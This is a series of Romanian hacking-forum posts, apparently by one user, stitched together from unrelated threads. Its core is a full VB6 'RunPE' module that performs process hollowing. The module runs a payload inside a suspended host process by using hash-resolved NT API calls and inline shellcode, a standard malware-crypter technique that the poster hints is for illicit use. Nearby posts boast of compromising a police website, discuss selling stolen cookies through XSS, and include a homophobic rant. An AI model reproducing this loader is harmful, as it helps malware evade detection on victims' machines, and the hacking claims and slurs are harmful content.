Nytro

Scri despre un lucru pe care il intelegi bine si se incadreaza in categoriile: hacking/securitate/programare/networking/hardware si probabil si altele. A, nu design...

Exista diverse programe. Eu foloseam SQLYlog.

Eu am inceput sa lucrez la primul meu articol. Probabil voi scrie doua. Astept mai multa implicare sin din partea celorlalti.

dragosh1904: Am inceput sa ma duc din nou la sala ieri, dupa 2 luni de pauza. jicu: Da, nu e ceva normal? Eu nu sunt gay sa ma rad pe picioare si pe burta si pe piept ca cocalarii din ziua de azi. Femei! Au inceput sa se rada si pe maini... Si parul e singurul lucru masculin pe care il au multi. Am scris pe blog de mult despre asta. Sa nu te miri daca te vede unul pe strada, in pantaloni scurti si te fute. De unde voiai sa stie si el ca esti baiat? Mai ales daca esti un rocker latos, dar aia macar nu sunt gay sa se rada pe picioare.

Nu oricare 3 conturi. Iti da el 3 conturi, ii dai cookie, iti da banii. Oricum, e cam greu de realizat asta. Si XSS nu se mai gaseste, si chiar daca se gaseste, pe langa faptul ca e scump mai trebuie sa "prinzi" victimele.

Ba, vorbiti si voi de cat de frumosi suntem noi, lasati alte prostii.

Author: Karcrack Option Explicit Option Base 0 '--------------------------------------------------------------------------------------- ' Module : kRunPe ' Author : Karcrack ' Date : 230710 ' Purpose : Shortest way to Run PE from ByteArray '--------------------------------------------------------------------------------------- Private Type DWORD_L D1 As Long End Type Private Type DWORD_B B1 As Byte: B2 As Byte B3 As Byte: B4 As Byte End Type 'USER32 Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCode As Long, Optional ByVal lParam1 As Long, Optional ByVal lParam2 As Long, Optional ByVal lParam3 As Long, Optional ByVal lParam4 As Long) As Long Private bInitialized_Inv As Boolean Private ASM_gAPIPTR(170) As Byte Private ASM_cCODE(255) As Byte Private Const KERNEL32 As String = "KERNEL32" Private Const NTDLL As String = "NTDLL" Public Function RunPE(ByRef bvBuff() As Byte, ByVal sHost As String, Optional ByVal sParams As String, Optional ByRef hProcess As Long) As Boolean Dim hModuleBase As Long Dim hPE As Long Dim hSec As Long Dim ImageBase As Long Dim i As Long Dim tSTARTUPINFO(16) As Long Dim tPROCESS_INFORMATION(3) As Long Dim tCONTEXT(50) As Long hModuleBase = VarPtr(bvBuff(0)) If Not GetNumb(hModuleBase, 2) = &H5A4D Then Exit Function hPE = hModuleBase + GetNumb(hModuleBase + &H3C) If Not GetNumb(hPE) = &H4550 Then Exit Function ImageBase = GetNumb(hPE + &H34) tSTARTUPINFO(0) = &H44 'CreateProcessW@KERNEL32 Call Invoke(KERNEL32, &H16B3FE88, StrPtr(sHost), StrPtr(sParams), 0, 0, 0, &H4, 0, 0, VarPtr(tSTARTUPINFO(0)), VarPtr(tPROCESS_INFORMATION(0))) 'NtUnmapViewOfSection@NTDLL Call Invoke(NTDLL, &HF21037D0, tPROCESS_INFORMATION(0), ImageBase) 'NtAllocateVirtualMemory@NTDLL Call Invoke(NTDLL, &HD33BCABD, tPROCESS_INFORMATION(0), VarPtr(ImageBase), 0, VarPtr(GetNumb(hPE + &H50)), &H3000, &H40) 'NtWriteVirtualMemory@NTDLL Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), ImageBase, VarPtr(bvBuff(0)), GetNumb(hPE + &H54), 0) For i = 0 To GetNumb(hPE + &H6, 2) - 1 hSec = hPE + &HF8 + (&H28 * i) 'NtWriteVirtualMemory@NTDLL Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), ImageBase + GetNumb(hSec + &HC), hModuleBase + GetNumb(hSec + &H14), GetNumb(hSec + &H10), 0) Next i tCONTEXT(0) = &H10007 'NtGetContextThread@NTDLL Call Invoke(NTDLL, &HE935E393, tPROCESS_INFORMATION(1), VarPtr(tCONTEXT(0))) 'NtWriteVirtualMemory@NTDLL Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), tCONTEXT(41) + &H8, VarPtr(ImageBase), &H4, 0) tCONTEXT(44) = ImageBase + GetNumb(hPE + &H28) 'NtSetContextThread@NTDLL Call Invoke(NTDLL, &H6935E395, tPROCESS_INFORMATION(1), VarPtr(tCONTEXT(0))) 'NtResumeThread@NTDLL Call Invoke(NTDLL, &HC54A46C8, tPROCESS_INFORMATION(1), 0) hProcess = tPROCESS_INFORMATION(0) RunPE = True End Function Private Function GetNumb(ByVal lPtr As Long, Optional ByVal lSize As Long = &H4) As Long 'NtWriteVirtualMemory@NTDLL Call Invoke(NTDLL, &HC5108CC2, -1, VarPtr(GetNumb), lPtr, lSize, 0) End Function Public Function Invoke(ByVal sDLL As String, ByVal hHash As Long, ParamArray vParams() As Variant) As Long Dim vItem As Variant Dim bsTmp As DWORD_B Dim lAPI As Long Dim i As Long Dim w As Long If Not bInitialized_Inv Then For i = 0 To 170 ASM_gAPIPTR(i) = CByte(Choose(i + 1, &HE8, &H22, &H0, &H0, &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50, &HE8, &H43, &H0, &H0, &H0, &H83, &HC4, &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0, &HFF, &H74, &H24, &H8, &H50, &HE8, &H30, &H0, &H0, &H0, &H83, &HC4, &H8, &HC3, &H56, &H55, &H31, &HC0, &H64, &H8B, &H70, &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C, &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B, &H36, &H38, &H47, &H18, &H75, &HF3, &H80, &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B, &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D, &H5E, &HC3, &H55, &H52, &H51, _ &H53, &H56, &H57, &H8B, &H6C, &H24, &H1C, &H85, &HED, &H74, &H43, &H8B, &H45, &H3C, &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B, &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB, &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1, &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC, &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD, &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24, &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1, &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A, &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1, &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D, &HC3)) Next i i = 0 bInitialized_Inv = True End If lAPI = CallWindowProcW(VarPtr(ASM_gAPIPTR(0)), StrPtr(sDLL), hHash) If lAPI Then For w = UBound(vParams) To LBound(vParams) Step -1 bsTmp = SliceLong(CLng(vParams(w))) '// PUSH ADDR Call PutByte(&H68, i) Call PutByte(bsTmp.B1, i): Call PutByte(bsTmp.B2, i) Call PutByte(bsTmp.B3, i): Call PutByte(bsTmp.B4, i) Next w bsTmp = SliceLong(lAPI) '// MOV EAX, ADDR Call PutByte(&HB8, i) Call PutByte(bsTmp.B1, i): Call PutByte(bsTmp.B2, i) Call PutByte(bsTmp.B3, i): Call PutByte(bsTmp.B4, i) '// CALL EAX Call PutByte(&HFF, i): Call PutByte(&HD0, i) '// RET Call PutByte(&HC3, i) Invoke = CallWindowProcW(VarPtr(ASM_cCODE(0))) End If End Function Private Sub PutByte(ByVal bByte As Byte, ByRef iCounter As Long) ASM_cCODE(iCounter) = bByte iCounter = iCounter + 1 End Sub Private Function SliceLong(ByVal lLong As Long) As DWORD_B Dim tL As DWORD_L tL.D1 = lLong LSet SliceLong = tL End Function Sample: Dim ) As Byte Open Environ$("WINDIR") & "\SYSTEM32\calc.exe" For Binary As #1 ReDim x(0 To LOF(1) - 1) Get #1, , x Close #1 Call RunPE(x, Environ$("WINDIR") & "\SYSTEM32\notepad.exe") Stiti voi la ce se foloseste

Tocmai owned-uisem Politia Locala si faceam screenshot-uri cu asta. Nu e nici o problema in a face meeting-uri, bem si noi, se mai si fumeaza, si altele...

Nu va veni toata lumea cand se va mai face, sunt multi din Bucuresti, nu mergem pe stadion. Ramane de vazut cand se va mai face. Kwe si Ahead au de dat cate o bere, sa vad cum fac rost de una si de la flama si de la altii... Si o sa se stranga

!EIUM Acum sa va vad.

Ca de obicei, plin de destepti pe aici, toti hackeri linuxisti.

Da, e vorba de C:\Windows\system32\wshom.ocx, runtime de la Windows Script Host. AlStar: "taskkill /IM winamp.exe /F" De pe Internet Explorer, dai Allow la Blocked Content.

0x03: Unique and untraceable hiding method. E 0day.

Merge doar de pe Internet Explorer, dar merge

0x01: 0x02: 0x03: 0x04:

Nu are haz. Cine e ratatul?

Iei o imagine (.iso), si dai Burn Image, nu Burn Data. Eu folosesc Ashampoo Burning Studio. PS: Poate fi bootabil CD-ul, dar sa bootarea sa se faca mai intai de pe hard. Setez din BIOS sa booteze de pe CD. Apesi si tu F2, F8, F12 sau ce taste se mai folosesc, dai la Boot si pui prima optiune CD-ROM.

Hmm, mai multe lucruri interesante decat mai asterptam, thanks.

Am primit mail de la ei, mai de mult cred, ca au revenit. Am intrat sa vad si am vazut asta. E ciudat... Era bine sa revina Engleza de profesionist: " no no just joke,,Not delete anything "

Solutii ar fi, dar nu se implica nimeni. Nimeni nu are timp. Voiam sa facem o sectiune de download, dar nu sta nimeni sa organizeze fisierele pe categorii.

Multe articole interesante: http://tuts4you.com/download.php

Gata, am terminat cu admiterea, la intrat la Universitate - Informatica, am timp berechet sa ma ocup de revista. Cine mai doreste sa se implice, cine are timp sa scrie un articol interesant e rugat sa ma contacteze: e-mail, messenger, PM aici. Eu ma apuc de primul articol, care e deja inceput si cred ca o sa fie si un al doilea, vedem.

Ma intreb de ce, au trecut decat 3 ani de cand a fost postat...

Nu conteaza, ban.

Astea sunt chestii de 2 lei pe care sa le spui amicilor care nu stiu sa instaleze un program... spance: "The quick brown fox jumps over the lazy dog." e o fraza care cuprinde toate literele limbii engleze. Se foloseste pentru fonturi, pentru a vedea cum apare fiecare litera si alte prostii. Ma, sa fim seriosi, chestile astea nu apar din neant, e ca si codurile de la jocuri la care tastezi "bla bla" si se intampla cine stie ce. Sunt puse acolo "4 fun".